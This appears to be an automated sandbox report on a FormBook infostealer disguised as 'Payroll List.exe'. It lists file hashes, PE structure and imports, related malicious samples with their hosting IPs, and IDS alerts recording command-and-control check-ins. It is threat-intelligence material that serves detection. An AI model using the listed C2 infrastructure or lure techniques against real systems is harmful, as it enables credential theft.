	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
www.huiguang.xyz	MV KODCO.exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	154.92.61.37
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	154.92.61.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TRELLIAN-AS-APTrellianPtyLimitedAU	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	103.224.182.242
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	103.224.182.242
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
AS-REGRU	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	Delivery_Notification_00000207899.doc.js	Get hash	malicious	Unknown	Browse	194.58.112.173
	F8TXbAdG3G.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	195.133.18.88
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	194.58.112.174
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	file_1443.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	194.58.42.154
	lsass.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	194.58.42.154
	yakuza.i686.elf	Get hash	malicious	Unknown	Browse	212.24.36.97
VNPT-AS-VNVNPTCorpVN	arm7.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	123.23.95.241
	Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	ppc.elf	Get hash	malicious	Mirai	Browse	14.245.235.111
	x86_64.elf	Get hash	malicious	Mirai	Browse	123.25.106.125
	i486.elf	Get hash	malicious	Mirai	Browse	113.175.131.151
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	203.161.43.228
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	202.92.5.23
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	203.161.46.205
	need quotations.exe	Get hash	malicious	FormBook	Browse	203.161.42.73
	exe009.exe	Get hash	malicious	Emotet	Browse	113.161.148.81

Process:	C:\Windows\SysWOW64\ktmutil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut8438.tmp

Download File

Process:	C:\Users\user\Desktop\Payroll List.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.99290766412211
Encrypted:	true
SSDEEP:	6144:mnetfYEEZlwShUhJo7TdmDzreAtPYvwT6WlyHfg2pizQjEvP:Qetb0hOJo7TdwDiwTHlyI2I0jEH
MD5:	7B6C3967EE26BAC291D585DAE2BCB6FD
SHA1:	7153F3FB7FEE5960A632AB6030A2CE37D4843A39
SHA-256:	809BCF736D090990DC4A3A1D9FBFE97B5E2BFB9FEEF5E7F46A8AFD6DC6201AC8
SHA-512:	339A7D09517CF270F9E9500F0E39CA1DB6385AE19C7E14A152B6F93D7EDC755AD5DBA97A76A5F75516DAFF7A6A220DB25B25212B7397C4DD16AE2FB2F9B37F12
Malicious:	false
Preview:	..q..1JNF..[...v.JM..mQI...J1JNFODERAV4EJ1JNFODERAV4EJ1JN.ODE\^.:E.8.o.N..s.>]6jA8!!=%(r"7Z+%Ej,#o60<a?Ze.~.n+ \|L[>aJ1JNFOD<SH..%-.w.!.y%5.L...).U..}6S.P..z/#..(5\xV.NFODERAVd.J1.OGO}. V4EJ1JNF.DGSJW?EJeNNFODERAV4.^1JNVODE"EV4E.1J^FODGRAP4EJ1JNFIDERAV4EJANNFMDERAV4GJq.NF_DEBAV4EZ1J^FODERAF4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4k>T2:FOD..EV4UJ1J.BODURAV4EJ1JNFODERaV4%J1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODE

C:\Users\user\AppData\Local\Temp\inhumation

Download File

Process:	C:\Users\user\Desktop\Payroll List.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.99290766412211
Encrypted:	true
SSDEEP:	6144:mnetfYEEZlwShUhJo7TdmDzreAtPYvwT6WlyHfg2pizQjEvP:Qetb0hOJo7TdwDiwTHlyI2I0jEH
MD5:	7B6C3967EE26BAC291D585DAE2BCB6FD
SHA1:	7153F3FB7FEE5960A632AB6030A2CE37D4843A39
SHA-256:	809BCF736D090990DC4A3A1D9FBFE97B5E2BFB9FEEF5E7F46A8AFD6DC6201AC8
SHA-512:	339A7D09517CF270F9E9500F0E39CA1DB6385AE19C7E14A152B6F93D7EDC755AD5DBA97A76A5F75516DAFF7A6A220DB25B25212B7397C4DD16AE2FB2F9B37F12
Malicious:	false
Preview:	..q..1JNF..[...v.JM..mQI...J1JNFODERAV4EJ1JNFODERAV4EJ1JN.ODE\^.:E.8.o.N..s.>]6jA8!!=%(r"7Z+%Ej,#o60<a?Ze.~.n+ \|L[>aJ1JNFOD<SH..%-.w.!.y%5.L...).U..}6S.P..z/#..(5\xV.NFODERAVd.J1.OGO}. V4EJ1JNF.DGSJW?EJeNNFODERAV4.^1JNVODE"EV4E.1J^FODGRAP4EJ1JNFIDERAV4EJANNFMDERAV4GJq.NF_DEBAV4EZ1J^FODERAF4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4k>T2:FOD..EV4UJ1J.BODURAV4EJ1JNFODERaV4%J1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODERAV4EJ1JNFODE

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.147743818613458
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Payroll List.exe
File size:	1'212'928 bytes
MD5:	f15d8b7a5271a52273a158ff2f642d12
SHA1:	9a6178bbf1f646d6d29d6b9cfb7cfdd415f6458a
SHA256:	9de22b2b1f7bf1727126b7d85573f62bc9c247075936ced5cf1035bc893d48d7
SHA512:	ab0e27dca67fbe8f896fa4b38d42914d613aa31a94ccc7dfadc099605506cb7fd43e7dd4be55b07fafc05fc1d7e463aa151025250be917431bd9e0c121b9e7d7
SSDEEP:	24576:Ctb20pkaCqT5TBWgNQ7aT9xXW4wiZM/T6A:PVg5tQ7aT9Vwjb5
TLSH:	7145C01373DE8361C3725273BA66B701AEBB7C2506A1F56B2FD8093DB920121525EB73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673FBF94 [Thu Nov 21 23:17:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007F072D2CD8EFh
jmp 00007F072D2C0904h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F072D2C0A8Ah
cmp edi, eax
jc 00007F072D2C0DEEh
bt dword ptr [004C0158h], 01h
jnc 00007F072D2C0A89h
rep movsb
jmp 00007F072D2C0D9Ch
cmp ecx, 00000080h
jc 00007F072D2C0C54h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F072D2C0A90h
bt dword ptr [004BA370h], 01h
jc 00007F072D2C0F60h
bt dword ptr [004C0158h], 00000000h
jnc 00007F072D2C0C2Dh
test edi, 00000003h
jne 00007F072D2C0C3Eh
test esi, 00000003h
jne 00007F072D2C0C1Dh
bt edi, 02h
jnc 00007F072D2C0A8Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F072D2C0A93h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F072D2C0AE5h
bt esi, 03h
jnc 00007F072D2C0B38h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x5f074	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x124000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x5f074	0x5f200	565c11feacb57375a1cf48e7b038fa56	False	0.9325337754599211	data	7.905892692344075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x124000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc44a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc45c8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc48b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc49d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5880	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6128	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc6690	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8c38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xc9ce0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_STRING	0xca148	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xca6dc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcad68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb1f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcb7f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcbe50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc2b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc410	0x5674b	data			1.000327569799194
RT_GROUP_ICON	0x122b5c	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x122bd4	0x14	data	English	Great Britain	1.15
RT_VERSION	0x122be8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x122cc4	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	UnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T14:44:49.867696+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49707	154.216.76.80	80	TCP
2024-11-22T14:44:49.867696+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49707	154.216.76.80	80	TCP
2024-11-22T14:45:07.003448+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49709	3.33.130.190	80	TCP
2024-11-22T14:45:09.629527+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49710	3.33.130.190	80	TCP
2024-11-22T14:45:12.273605+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49711	3.33.130.190	80	TCP
2024-11-22T14:45:15.054578+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49712	3.33.130.190	80	TCP
2024-11-22T14:45:15.054578+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49712	3.33.130.190	80	TCP
2024-11-22T14:45:21.988359+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49713	203.161.49.193	80	TCP
2024-11-22T14:45:24.696464+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49714	203.161.49.193	80	TCP
2024-11-22T14:45:27.401707+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49715	203.161.49.193	80	TCP
